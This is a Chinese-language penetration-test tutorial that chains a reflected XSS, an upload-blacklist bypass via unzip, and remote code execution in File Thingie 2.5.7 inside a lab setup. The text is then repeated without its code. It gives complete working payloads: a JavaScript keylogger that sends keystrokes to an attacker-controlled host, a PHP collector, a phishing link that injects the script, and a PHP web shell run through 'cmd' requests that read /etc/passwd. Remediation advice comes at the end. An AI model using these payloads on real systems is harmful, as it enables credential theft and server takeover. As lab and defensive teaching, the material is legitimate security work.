针对File Thingie从XSS到文件上传再到RCE的渗透测试报告
字数 1216 2025-08-18 11:39:08

File Thingie渗透测试教学文档

1. 概述

File Thingie是一个基于PHP的轻量级Web文件管理工具,具有以下特点:

  • 体积小(仅1MB)
  • 功能全面(文件上传、多用户操作、创建/重命名/移动/删除/拷贝文件等)
  • 无需数据库支持

本教学文档将详细分析File Thingie 2.5.7版本中存在的安全漏洞及利用方法。

2. 实验环境

组件 版本/配置
目标主机 Debian 9.6
渗透主机 Kali Linux 2018.3
File Thingie 2.5.7
Web服务器 XAMPP for Linux 5.6.30

3. 漏洞利用流程

3.1 反射型XSS漏洞利用

漏洞位置:登录页面的dir参数未过滤

验证方法

http://[目标IP]/filethingie/ft2.php?dir=<script>alert('Hello World')</script>

键盘记录攻击实现

  1. 准备三个关键文件:

    • keyrecorder.js (键盘记录脚本)
    • keyrecorder.php (接收键盘记录的后端)
    • learnmore.html (社工页面)
  2. keyrecorder.js代码:

document.onkeypress = function(evt){
    evt = evt || window.event
    keyrecord = String.fromCharCode(evt.charCode)
    if (keyrecord) {
        var http = new XMLHttpRequest();
        var param = encodeURI(keyrecord);
        http.open("POST","http://[渗透主机IP]/keyrecorder.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("keyrecord="+param);
    }
}
  1. keyrecorder.php代码:
<?php
$key=$_POST['keyrecord'];
$record_file="keyrecord.txt";
$record_fp = fopen($record_file, "a");
fwrite($record_fp, $key);
fclose($record_fp);
?>
  1. learnmore.html代码:
<a href="http://[目标IP]/filethingie/ft2.php?dir=<script src='http://[渗透主机IP]/keyrecorder.js'></script>">Learn More</a>

攻击流程

  1. 受害者点击社工链接
  2. 键盘记录脚本被加载
  3. 受害者在登录页面输入凭据时,按键被记录并发送到攻击者服务器
  4. 攻击者从keyrecord.txt获取凭据

3.2 文件上传绕过

限制分析

  • 黑名单限制上传:php, phtml, php3, php4, php5
  • 未限制zip文件上传

绕过方法

  1. 创建PHP后门文件backdoor.php
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
  1. 将后门文件压缩为backdoor.zip并上传

  2. 利用File Thingie的解压功能:

URL: http://[目标IP]/filethingie/ft2.php?dir=/Test
POST参数: newvalue=backdoor.zip&file=backdoor.zip&act=unzip

3.3 任意代码执行

后门利用

http://[目标IP]/filethingie/Test/backdoor.php?cmd=cat%20/etc/passwd
http://[目标IP]/filethingie/Test/backdoor.php?cmd=cat%20/proc/version

4. 漏洞代码分析

4.1 XSS漏洞代码

$('#filelist').ft_filelist({
    // ...
    directory: "<?php if (!empty($_REQUEST['dir'])) {echo $_REQUEST['dir'];}?>",
    // ...
});
  • dir参数未经过任何过滤直接输出

4.2 文件上传限制代码

$ft["settings"]["FILETYPEBLACKLIST"] = "php phtml php3 php4 php5";
$ft["settings"]["FILETYPEWHITELIST"] = "";
  • 使用黑名单机制限制PHP文件上传
  • 白名单为空,未启用白名单机制

4.3 解压漏洞代码

function ft_check_filetype($file) {
    $type = strtolower(ft_get_ext($file));
    if (FILETYPEWHITELIST) {
        // 白名单检查
    } else {
        if (FILETYPEBLACKLIST) {
            // 黑名单检查
        } else {
            return TRUE;
        }
    }
}
  • 解压时仅检查zip文件本身
  • 解压后不检查解压出的文件类型

5. 修复建议

  1. XSS防护

    • 对所有用户输入进行HTML实体编码
    • 实现严格的输入验证和输出编码
  2. 文件上传

    • 采用白名单机制替代黑名单
    • 限制上传文件扩展名和MIME类型
    • 将上传文件存储在非Web可访问目录
  3. 解压功能

    • 解压后检查解压出的文件类型
    • 删除不符合安全策略的文件
    • 使用安全的解压库替代系统命令
  4. 其他措施

    • 实现CSRF防护
    • 限制文件操作权限
    • 定期更新软件版本

6. 总结

本次渗透测试展示了如何通过多个漏洞的串联利用实现从XSS到RCE的完整攻击链:

  1. 利用反射型XSS获取管理员凭据
  2. 通过文件上传限制绕过上传恶意zip文件
  3. 利用解压功能实现任意代码执行

防御时应采用纵深防御策略,在每个环节都实施适当的安全控制。

File Thingie渗透测试教学文档 1. 概述 File Thingie是一个基于PHP的轻量级Web文件管理工具,具有以下特点: 体积小(仅1MB) 功能全面(文件上传、多用户操作、创建/重命名/移动/删除/拷贝文件等) 无需数据库支持 本教学文档将详细分析File Thingie 2.5.7版本中存在的安全漏洞及利用方法。 2. 实验环境 | 组件 | 版本/配置 | |------|----------| | 目标主机 | Debian 9.6 | | 渗透主机 | Kali Linux 2018.3 | | File Thingie | 2.5.7 | | Web服务器 | XAMPP for Linux 5.6.30 | 3. 漏洞利用流程 3.1 反射型XSS漏洞利用 漏洞位置 :登录页面的 dir 参数未过滤 验证方法 : 键盘记录攻击实现 : 准备三个关键文件: keyrecorder.js (键盘记录脚本) keyrecorder.php (接收键盘记录的后端) learnmore.html (社工页面) keyrecorder.js 代码: keyrecorder.php 代码: learnmore.html 代码: 攻击流程 : 受害者点击社工链接 键盘记录脚本被加载 受害者在登录页面输入凭据时,按键被记录并发送到攻击者服务器 攻击者从 keyrecord.txt 获取凭据 3.2 文件上传绕过 限制分析 : 黑名单限制上传:php, phtml, php3, php4, php5 未限制zip文件上传 绕过方法 : 创建PHP后门文件 backdoor.php : 将后门文件压缩为 backdoor.zip 并上传 利用File Thingie的解压功能: 3.3 任意代码执行 后门利用 : 4. 漏洞代码分析 4.1 XSS漏洞代码 dir 参数未经过任何过滤直接输出 4.2 文件上传限制代码 使用黑名单机制限制PHP文件上传 白名单为空,未启用白名单机制 4.3 解压漏洞代码 解压时仅检查zip文件本身 解压后不检查解压出的文件类型 5. 修复建议 XSS防护 : 对所有用户输入进行HTML实体编码 实现严格的输入验证和输出编码 文件上传 : 采用白名单机制替代黑名单 限制上传文件扩展名和MIME类型 将上传文件存储在非Web可访问目录 解压功能 : 解压后检查解压出的文件类型 删除不符合安全策略的文件 使用安全的解压库替代系统命令 其他措施 : 实现CSRF防护 限制文件操作权限 定期更新软件版本 6. 总结 本次渗透测试展示了如何通过多个漏洞的串联利用实现从XSS到RCE的完整攻击链: 利用反射型XSS获取管理员凭据 通过文件上传限制绕过上传恶意zip文件 利用解压功能实现任意代码执行 防御时应采用纵深防御策略,在每个环节都实施适当的安全控制。